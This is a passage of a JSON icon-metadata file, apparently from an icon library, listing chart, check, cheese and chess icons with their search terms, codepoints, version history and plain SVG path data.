        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V400c0 44.2 35.8 80 80 80H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H80c-8.8 0-16-7.2-16-16V64zm406.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L320 210.7l-57.4-57.4c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L240 221.3l57.4 57.4c12.5 12.5 32.8 12.5 45.3 0l128-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 64c0-17.7-14.3-32-32-32S0 46.3 0 64V400c0 44.2 35.8 80 80 80H480c17.7 0 32-14.3 32-32s-14.3-32-32-32H80c-8.8 0-16-7.2-16-16V64zm406.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L320 210.7l-57.4-57.4c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L240 221.3l57.4 57.4c12.5 12.5 32.8 12.5 45.3 0l128-128z"
      }
    },
    "free": ["solid"]
  },
  "chart-pie": {
    "aliases": {
      "names": ["pie-chart"],
      "unicodes": {
        "secondary": ["10f200"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["analytics", "chart", "diagram", "graph", "pie"]
    },
    "styles": ["solid"],
    "unicode": "f200",
    "label": "Chart Pie",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M304 240V16.6c0-9 7-16.6 16-16.6C443.7 0 544 100.3 544 224c0 9-7.6 16-16.6 16H304zM32 272C32 150.7 122.1 50.3 239 34.3c9.2-1.3 17 6.1 17 15.4V288L412.5 444.5c6.7 6.7 6.2 17.7-1.5 23.1C371.8 495.6 323.8 512 272 512C139.5 512 32 404.6 32 272zm526.4 16c9.3 0 16.6 7.8 15.4 17c-7.7 55.9-34.6 105.6-73.9 142.3c-6 5.6-15.4 5.2-21.2-.7L320 288H558.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M304 240V16.6c0-9 7-16.6 16-16.6C443.7 0 544 100.3 544 224c0 9-7.6 16-16.6 16H304zM32 272C32 150.7 122.1 50.3 239 34.3c9.2-1.3 17 6.1 17 15.4V288L412.5 444.5c6.7 6.7 6.2 17.7-1.5 23.1C371.8 495.6 323.8 512 272 512C139.5 512 32 404.6 32 272zm526.4 16c9.3 0 16.6 7.8 15.4 17c-7.7 55.9-34.6 105.6-73.9 142.3c-6 5.6-15.4 5.2-21.2-.7L320 288H558.4z"
      }
    },
    "free": ["solid"]
  },
  "chart-simple": {
    "changes": ["6.0.0-beta3", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["analytics", "bar", "chart", "column", "graph", "row", "trend"]
    },
    "styles": ["solid"],
    "unicode": "e473",
    "label": "Chart Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M160 80c0-26.5 21.5-48 48-48h32c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V80zM0 272c0-26.5 21.5-48 48-48H80c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V272zM368 96h32c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H368c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M160 80c0-26.5 21.5-48 48-48h32c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H208c-26.5 0-48-21.5-48-48V80zM0 272c0-26.5 21.5-48 48-48H80c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V272zM368 96h32c26.5 0 48 21.5 48 48V432c0 26.5-21.5 48-48 48H368c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48z"
      }
    },
    "free": ["solid"]
  },
  "check": {
    "aliases": {
      "unicodes": {
        "composite": ["2713", "2714"],
        "secondary": ["10f00c"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Check Mark",
        "accept",
        "agree",
        "check",
        "check mark",
        "checkmark",
        "confirm",
        "correct",
        "done",
        "mark",
        "notice",
        "notification",
        "notify",
        "ok",
        "select",
        "success",
        "tick",
        "todo",
        "yes",
        "✓"
      ]
    },
    "styles": ["solid"],
    "unicode": "f00c",
    "label": "Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M438.6 105.4c12.5 12.5 12.5 32.8 0 45.3l-256 256c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L160 338.7 393.4 105.4c12.5-12.5 32.8-12.5 45.3 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M438.6 105.4c12.5 12.5 12.5 32.8 0 45.3l-256 256c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L160 338.7 393.4 105.4c12.5-12.5 32.8-12.5 45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "check-double": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f560"]
      }
    },
    "changes": [
      "5.1.0",
      "5.8.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "agree",
        "checkmark",
        "confirm",
        "correct",
        "done",
        "notice",
        "notification",
        "notify",
        "ok",
        "select",
        "success",
        "tick",
        "todo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f560",
    "label": "Check Double",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M342.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 178.7l-57.4-57.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l80 80c12.5 12.5 32.8 12.5 45.3 0l160-160zm96 128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 402.7 54.6 297.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0l256-256z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M342.6 86.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 178.7l-57.4-57.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l80 80c12.5 12.5 32.8 12.5 45.3 0l160-160zm96 128c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L160 402.7 54.6 297.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0l256-256z"
      }
    },
    "free": ["solid"]
  },
  "check-to-slot": {
    "aliases": {
      "names": ["vote-yea"],
      "unicodes": {
        "secondary": ["10f772"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "accept",
        "cast",
        "election",
        "politics",
        "positive",
        "voting",
        "yes"
      ]
    },
    "styles": ["solid"],
    "unicode": "f772",
    "label": "Check To Slot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M96 80c0-26.5 21.5-48 48-48H432c26.5 0 48 21.5 48 48V384H96V80zm313 47c-9.4-9.4-24.6-9.4-33.9 0l-111 111-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L409 161c9.4-9.4 9.4-24.6 0-33.9zM0 336c0-26.5 21.5-48 48-48H64V416H512V288h16c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V336z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M96 80c0-26.5 21.5-48 48-48H432c26.5 0 48 21.5 48 48V384H96V80zm313 47c-9.4-9.4-24.6-9.4-33.9 0l-111 111-47-47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l64 64c9.4 9.4 24.6 9.4 33.9 0L409 161c9.4-9.4 9.4-24.6 0-33.9zM0 336c0-26.5 21.5-48 48-48H64V416H512V288h16c26.5 0 48 21.5 48 48v96c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V336z"
      }
    },
    "free": ["solid"]
  },
  "cheese": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7ef"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cheddar",
        "curd",
        "gouda",
        "melt",
        "parmesan",
        "sandwich",
        "swiss",
        "wedge"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7ef",
    "label": "Cheese",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 240.2V256H0c0-20 10-38.7 26.6-49.8L274.9 40.7c8.6-5.7 18.6-8.7 28.9-8.7C418.8 32 512 125.2 512 240.2zm0 47.8V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V288H512z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 240.2V256H0c0-20 10-38.7 26.6-49.8L274.9 40.7c8.6-5.7 18.6-8.7 28.9-8.7C418.8 32 512 125.2 512 240.2zm0 47.8V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V288H512z"
      }
    },
    "free": ["solid"]
  },
  "chess": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f439"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "board",
        "castle",
        "checkmate",
        "game",
        "king",
        "rook",
        "strategy",
        "tournament"
      ]
    },
    "styles": ["solid"],
    "unicode": "f439",
    "label": "Chess",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M144 16c0-8.8-7.2-16-16-16s-16 7.2-16 16V32H96c-8.8 0-16 7.2-16 16s7.2 16 16 16h16V96H60.2C49.1 96 40 105.1 40 116.2c0 2.5 .5 4.9 1.3 7.3L73.8 208H72c-13.3 0-24 10.7-24 24s10.7 24 24 24h4L60 384H196L180 256h4c13.3 0 24-10.7 24-24s-10.7-24-24-24h-1.8l32.5-84.5c.9-2.3 1.3-4.8 1.3-7.3c0-11.2-9.1-20.2-20.2-20.2H144V64h16c8.8 0 16-7.2 16-16s-7.2-16-16-16H144V16zM48 416L4.8 473.6C1.7 477.8 0 482.8 0 488c0 13.3 10.7 24 24 24H232c13.3 0 24-10.7 24-24c0-5.2-1.7-10.2-4.8-14.4L208 416H48zm288 0l-43.2 57.6c-3.1 4.2-4.8 9.2-4.8 14.4c0 13.3 10.7 24 24 24H488c13.3 0 24-10.7 24-24c0-5.2-1.7-10.2-4.8-14.4L464 416H336zM304 208v51.9c0 7.8 2.8 15.3 8 21.1L339.2 312 337 384H462.5l-3.3-72 28.3-30.8c5.4-5.9 8.5-13.6 8.5-21.7V208c0-8.8-7.2-16-16-16H464c-8.8 0-16 7.2-16 16v16H424V208c0-8.8-7.2-16-16-16H392c-8.8 0-16 7.2-16 16v16H352V208c0-8.8-7.2-16-16-16H320c-8.8 0-16 7.2-16 16zm80 96c0-8.8 7.2-16 16-16s16 7.2 16 16v32H384V304z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M144 16c0-8.8-7.2-16-16-16s-16 7.2-16 16V32H96c-8.8 0-16 7.2-16 16s7.2 16 16 16h16V96H60.2C49.1 96 40 105.1 40 116.2c0 2.5 .5 4.9 1.3 7.3L73.8 208H72c-13.3 0-24 10.7-24 24s10.7 24 24 24h4L60 384H196L180 256h4c13.3 0 24-10.7 24-24s-10.7-24-24-24h-1.8l32.5-84.5c.9-2.3 1.3-4.8 1.3-7.3c0-11.2-9.1-20.2-20.2-20.2H144V64h16c8.8 0 16-7.2 16-16s-7.2-16-16-16H144V16zM48 416L4.8 473.6C1.7 477.8 0 482.8 0 488c0 13.3 10.7 24 24 24H232c13.3 0 24-10.7 24-24c0-5.2-1.7-10.2-4.8-14.4L208 416H48zm288 0l-43.2 57.6c-3.1 4.2-4.8 9.2-4.8 14.4c0 13.3 10.7 24 24 24H488c13.3 0 24-10.7 24-24c0-5.2-1.7-10.2-4.8-14.4L464 416H336zM304 208v51.9c0 7.8 2.8 15.3 8 21.1L339.2 312 337 384H462.5l-3.3-72 28.3-30.8c5.4-5.9 8.5-13.6 8.5-21.7V208c0-8.8-7.2-16-16-16H464c-8.8 0-16 7.2-16 16v16H424V208c0-8.8-7.2-16-16-16H392c-8.8 0-16 7.2-16 16v16H352V208c0-8.8-7.2-16-16-16H320c-8.8 0-16 7.2-16 16zm80 96c0-8.8 7.2-16 16-16s16 7.2 16 16v32H384V304z"
      }
    },
    "free": ["solid"]
  },
  "chess-bishop": {
    "aliases": {
      "unicodes": {
        "composite": ["265d"],
        "secondary": ["10f43a"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Black Chess Bishop", "board", "checkmate", "game", "strategy"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f43a",
    "label": "Chess Bishop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M128 0C110.3 0 96 14.3 96 32c0 16.1 11.9 29.4 27.4 31.7C78.4 106.8 8 190 8 288c0 47.4 30.8 72.3 56 84.7V400H256V372.7c25.2-12.5 56-37.4 56-84.7c0-37.3-10.2-72.4-25.3-104.1l-99.4 99.4c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L270.8 154.6c-23.2-38.1-51.8-69.5-74.2-90.9C212.1 61.4 224 48.1 224 32c0-17.7-14.3-32-32-32H128zM48 432L6.6 473.4c-4.2 4.2-6.6 10-6.6 16C0 501.9 10.1 512 22.6 512H297.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L272 432H48z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M128 0C110.3 0 96 14.3 96 32c0 16.1 11.9 29.4 27.4 31.7C78.4 106.8 8 190 8 288c0 47.4 30.8 72.3 56 84.7V400H256V372.7c25.2-12.5 56-37.4 56-84.7c0-37.3-10.2-72.4-25.3-104.1l-99.4 99.4c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L270.8 154.6c-23.2-38.1-51.8-69.5-74.2-90.9C212.1 61.4 224 48.1 224 32c0-17.7-14.3-32-32-32H128zM48 432L6.6 473.4c-4.2 4.2-6.6 10-6.6 16C0 501.9 10.1 512 22.6 512H297.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L272 432H48z"
      },
      "regular": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M104 0C90.7 0 80 10.7 80 24c0 11.2 7.6 20.6 18 23.2c-7.8 8-16.1 17-24.4 27C38.2 116.7 0 178.8 0 250.9c0 44.8 24.6 72.2 48 87.8V352H96V325c0-9-5-17.2-13-21.3c-18-9.3-35-24.7-35-52.7c0-55.5 29.8-106.8 62.4-145.9c16-19.2 32.1-34.8 44.2-45.5c1.9-1.7 3.7-3.2 5.3-4.6c1.7 1.4 3.4 3 5.3 4.6c12.1 10.7 28.2 26.3 44.2 45.5c5.3 6.3 10.5 13 15.5 20L159 191c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l57.8-57.8c12.8 25.9 21.2 54.3 21.2 83.8c0 28-17 43.4-35 52.7c-8 4.1-13 12.3-13 21.3v27h48V338.7c23.4-15.6 48-42.9 48-87.8c0-72.1-38.2-134.2-73.6-176.7c-8.3-9.9-16.6-19-24.4-27c10.3-2.7 18-12.1 18-23.2c0-13.3-10.7-24-24-24H160 104zM52.7 464l16.6-32H250.8l16.6 32H52.7zm207.9-80H59.5c-12 0-22.9 6.7-28.4 17.3L4.6 452.5c-3 5.8-4.6 12.2-4.6 18.7C0 493.8 18.2 512 40.8 512H279.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2c-5.5-10.6-16.5-17.3-28.4-17.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M104 0C90.7 0 80 10.7 80 24c0 11.2 7.6 20.6 18 23.2c-7.8 8-16.1 17-24.4 27C38.2 116.7 0 178.8 0 250.9c0 44.8 24.6 72.2 48 87.8V352H96V325c0-9-5-17.2-13-21.3c-18-9.3-35-24.7-35-52.7c0-55.5 29.8-106.8 62.4-145.9c16-19.2 32.1-34.8 44.2-45.5c1.9-1.7 3.7-3.2 5.3-4.6c1.7 1.4 3.4 3 5.3 4.6c12.1 10.7 28.2 26.3 44.2 45.5c5.3 6.3 10.5 13 15.5 20L159 191c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l57.8-57.8c12.8 25.9 21.2 54.3 21.2 83.8c0 28-17 43.4-35 52.7c-8 4.1-13 12.3-13 21.3v27h48V338.7c23.4-15.6 48-42.9 48-87.8c0-72.1-38.2-134.2-73.6-176.7c-8.3-9.9-16.6-19-24.4-27c10.3-2.7 18-12.1 18-23.2c0-13.3-10.7-24-24-24H160 104zM52.7 464l16.6-32H250.8l16.6 32H52.7zm207.9-80H59.5c-12 0-22.9 6.7-28.4 17.3L4.6 452.5c-3 5.8-4.6 12.2-4.6 18.7C0 493.8 18.2 512 40.8 512H279.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2c-5.5-10.6-16.5-17.3-28.4-17.3z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chess-board": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f43c"]
      }
    },
    "changes": [
      "5.0.5",
      "5.7.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["board", "checkmate", "game", "strategy"]
    },
    "styles": ["solid"],
    "unicode": "f43c",
    "label": "Chess Board",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1678474324,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 64v64h64V96h64v64h64V96h64v64H320v64h64v64H320v64h64v64H320V352H256v64H192V352H128v64H64V352h64V288H64V224h64V160H64V96h64zm64 128h64V160H192v64zm0 64V224H128v64h64zm64 0H192v64h64V288zm0 0h64V224H256v64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 64v64h64V96h64v64h64V96h64v64H320v64h64v64H320v64h64v64H320V352H256v64H192V352H128v64H64V352h64V288H64V224h64V160H64V96h64zm64 128h64V160H192v64zm0 64V224H128v64h64zm64 0H192v64h64V288zm0 0h64V224H256v64z"
      }
    },
    "free": ["solid"]
  },
  "chess-king": {
    "aliases": {
      "unicodes": {
        "composite": ["265a"],
        "secondary": ["10f43f"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Black Chess King", "board", "checkmate", "game", "strategy"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f43f",
    "label": "Chess King",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0c17.7 0 32 14.3 32 32V48h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H256v48H408c22.1 0 40 17.9 40 40c0 5.3-1 10.5-3.1 15.4L368 400H80L3.1 215.4C1 210.5 0 205.3 0 200c0-22.1 17.9-40 40-40H192V112H176c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V32c0-17.7 14.3-32 32-32zM38.6 473.4L80 432H368l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H54.6C42.1 512 32 501.9 32 489.4c0-6 2.4-11.8 6.6-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0c17.7 0 32 14.3 32 32V48h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H256v48H408c22.1 0 40 17.9 40 40c0 5.3-1 10.5-3.1 15.4L368 400H80L3.1 215.4C1 210.5 0 205.3 0 200c0-22.1 17.9-40 40-40H192V112H176c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V32c0-17.7 14.3-32 32-32zM38.6 473.4L80 432H368l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H54.6C42.1 512 32 501.9 32 489.4c0-6 2.4-11.8 6.6-16z"
      },
      "regular": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M248 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V56H168c-13.3 0-24 10.7-24 24s10.7 24 24 24h32v40H59.6C26.7 144 0 170.7 0 203.6c0 8.2 1.7 16.3 4.9 23.8L59.1 352h52.3L49 208.2c-.6-1.5-1-3-1-4.6c0-6.4 5.2-11.6 11.6-11.6H224 388.4c6.4 0 11.6 5.2 11.6 11.6c0 1.6-.3 3.2-1 4.6L336.5 352h52.3l54.2-124.6c3.3-7.5 4.9-15.6 4.9-23.8c0-32.9-26.7-59.6-59.6-59.6H248V104h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H248V24zM101.2 432H346.8l16.6 32H84.7l16.6-32zm283.7-30.7c-5.5-10.6-16.5-17.3-28.4-17.3H91.5c-12 0-22.9 6.7-28.4 17.3L36.6 452.5c-3 5.8-4.6 12.2-4.6 18.7C32 493.8 50.2 512 72.8 512H375.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M248 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V56H168c-13.3 0-24 10.7-24 24s10.7 24 24 24h32v40H59.6C26.7 144 0 170.7 0 203.6c0 8.2 1.7 16.3 4.9 23.8L59.1 352h52.3L49 208.2c-.6-1.5-1-3-1-4.6c0-6.4 5.2-11.6 11.6-11.6H224 388.4c6.4 0 11.6 5.2 11.6 11.6c0 1.6-.3 3.2-1 4.6L336.5 352h52.3l54.2-124.6c3.3-7.5 4.9-15.6 4.9-23.8c0-32.9-26.7-59.6-59.6-59.6H248V104h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H248V24zM101.2 432H346.8l16.6 32H84.7l16.6-32zm283.7-30.7c-5.5-10.6-16.5-17.3-28.4-17.3H91.5c-12 0-22.9 6.7-28.4 17.3L36.6 452.5c-3 5.8-4.6 12.2-4.6 18.7C32 493.8 50.2 512 72.8 512H375.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chess-knight": {
    "aliases": {
      "unicodes": {
        "composite": ["265e"],
        "secondary": ["10f441"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Chess Knight",
        "board",
        "checkmate",
        "game",
        "horse",
        "strategy"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f441",
    "label": "Chess Knight",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 48L82.7 61.3C70.7 73.3 64 89.5 64 106.5V238.9c0 10.7 5.3 20.7 14.2 26.6l10.6 7c14.3 9.6 32.7 10.7 48.1 3l3.2-1.6c2.6-1.3 5-2.8 7.3-4.5l49.4-37c6.6-5 15.7-5 22.3 0c10.2 7.7 9.9 23.1-.7 30.3L90.4 350C73.9 361.3 64 380 64 400H384l28.9-159c2.1-11.3 3.1-22.8 3.1-34.3V192C416 86 330 0 224 0H83.8C72.9 0 64 8.9 64 19.8c0 7.5 4.2 14.3 10.9 17.7L96 48zm24 68a20 20 0 1 1 40 0 20 20 0 1 1 -40 0zM22.6 473.4c-4.2 4.2-6.6 10-6.6 16C16 501.9 26.1 512 38.6 512H409.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L384 432H64L22.6 473.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 48L82.7 61.3C70.7 73.3 64 89.5 64 106.5V238.9c0 10.7 5.3 20.7 14.2 26.6l10.6 7c14.3 9.6 32.7 10.7 48.1 3l3.2-1.6c2.6-1.3 5-2.8 7.3-4.5l49.4-37c6.6-5 15.7-5 22.3 0c10.2 7.7 9.9 23.1-.7 30.3L90.4 350C73.9 361.3 64 380 64 400H384l28.9-159c2.1-11.3 3.1-22.8 3.1-34.3V192C416 86 330 0 224 0H83.8C72.9 0 64 8.9 64 19.8c0 7.5 4.2 14.3 10.9 17.7L96 48zm24 68a20 20 0 1 1 40 0 20 20 0 1 1 -40 0zM22.6 473.4c-4.2 4.2-6.6 10-6.6 16C16 501.9 26.1 512 38.6 512H409.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L384 432H64L22.6 473.4z"
      },
      "regular": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M226.6 48H117.3l17.1 12.8c6 4.5 9.6 11.6 9.6 19.2s-3.6 14.7-9.6 19.2l-6.5 4.9c-10 7.5-16 19.3-16 31.9l-.3 91c0 10.2 4.9 19.9 13.2 25.8l1.9 1.3c9.9 7.1 23.3 7 33.2-.1l49.9-36.3c10.7-7.8 25.7-5.4 33.5 5.3s5.4 25.7-5.3 33.5l-49.9 36.3-53.8 39.1c-7.3 5.3-13 12.2-16.9 20.1H66.8c5.3-22.1 17.8-41.9 35.9-56.3c-1.3-.8-2.6-1.7-3.8-2.6L97 291.8c-21-15-33.4-39.2-33.3-65l.3-91c.1-19.8 6.7-38.7 18.6-53.9l-.4-.3C70.7 73 64 59.6 64 45.3C64 20.3 84.3 0 109.3 0H226.6C331.2 0 416 84.8 416 189.4c0 11.1-1 22.2-2.9 33.2L390.1 352H341.3l24.5-137.8c1.5-8.2 2.2-16.5 2.2-24.8C368 111.3 304.7 48 226.6 48zM85.2 432L68.7 464H379.3l-16.6-32H85.2zm315.7-30.7l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H56.8C34.2 512 16 493.8 16 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C52.5 390.7 63.5 384 75.5 384h297c12 0 22.9 6.7 28.4 17.3zM172 128a20 20 0 1 1 0 40 20 20 0 1 1 0-40z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
